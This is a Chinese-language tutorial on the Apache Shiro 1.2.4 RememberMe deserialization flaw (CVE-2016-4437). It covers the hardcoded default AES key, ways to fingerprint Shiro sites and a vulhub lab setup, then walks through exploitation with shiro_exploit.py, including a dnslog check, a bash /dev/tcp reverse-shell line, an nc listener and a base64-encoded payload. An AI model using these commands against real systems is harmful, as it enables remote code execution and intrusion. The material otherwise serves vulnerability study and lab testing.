ApacheShiro1.2.4反序列化漏洞(CVE-2016-4437)
⽬录
⼀. 漏洞描述
Apache Shiro 1.2.4 反序列化漏洞即shiro-550反序列化漏洞。Apache Shiro是⼀个Java安全框架,执⾏⾝份验证、授权、密码和会话管理。
⼯ 作 原 理
Apache Shiro框架提供了记住我的功能(RememberMe),⽤户登陆成功后会⽣成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进⾏序列化,然后使⽤aes加密,最后在使⽤base64编码处理形成的。
Shiro记住⽤户会话功能的逻辑为:
获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使⽤AES解密(加密密钥硬编码)
4、进⾏反序列化操作(未作过滤处理)
在调⽤反序列化时未进⾏任何过滤,导致可以触发远程代码执⾏漏洞。
漏 洞 原 理
因为在反序列化时,不会对其进⾏过滤,所以如果传⼊恶意代码将会造成安全问题
在 1.2.4 版本前,是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可以直接反序列化执⾏恶意代码。⽽在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进⾏渗透
漏洞特征: shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
⼆. 影响版本
Apache Shiro <=1.2.4
三. shiro特征
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie⾥也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
shiro安全框架勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
四. 如何判断⽹站是否使⽤shiro
1. 到⽹站登录的地⽅,随便输⼊账号密码抓包(⼀定要输⼊点击登录),看返回包是否有remembeMe字段
2. 如果以上么有返回remembeMe字段还可以尝试在请求包中的cookie中加⼊ rememberMe=1 ,来查看返回包是否有
rememberMe=deleteMe字段。如果cookie字段有值则先清空
如我们直接访问登录的页⾯不进⾏登录,此时返回的数据包是没有remember字段的
这时,我们⼿动加上⼀个cookie:rememberMe=1,注意cookie要放在Upgrade的上⾯,则返回了remember字段。说明使⽤了shiro框架
五. 漏洞环境搭建
使⽤vulhub进⾏环境搭建,cd shiro,执⾏docker-compose up -d启动漏洞环境
访问8080,如下环境搭建成功
六. 漏洞利⽤
⼿⼯检测出了使⽤了shiro框架后就开始验证是否存在漏洞了如果存在则进⾏漏洞利⽤,这⾥漏洞检测和利⽤的⽅式有两种,⼀种是使⽤python脚本进⾏验证。第⼆种⽅式是使⽤jar⼯具进⾏验证
shiro_exploit.py
脚本下载地址:
基于python3,jdk1.8
1. 检测是否存在漏洞
⾸先去dnslog平台获取⼀个⼦域 -》
python shiro_exploit.py -t 3 -u ⽬标地址 -p "ping -c 2 dnslog"
查看dnslog平台,如下,说明漏洞存在
2. 执⾏反弹shell
(1)加密反弹shell语句
这⾥反弹shell的命令需要进⾏加密才能执⾏,加密⽹站:
bash -i >& /dev/tcp/攻击机ip/监听的端⼝ 0>&1
进⾏加密
(2)vps开启监听
nc -lvp 6666
(3)执⾏反弹语句
python shiro_exploit.py -t 3 -u ⽬标ip -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcxxxxxxxuOD
guMTYyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
(4)接收反弹shell
jar⼯具
相较于上⾯的python脚本,图形化⼯具操作起来更加的简单
1. 输⼊测试的URL ,点击下⼀步
2. 选择检测⽅式
有时候ceye.io⽅式检测不出来说不存在反序列化漏洞,则选择dnslog⽅式测⼀下
3. 然后点击下⼀步

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。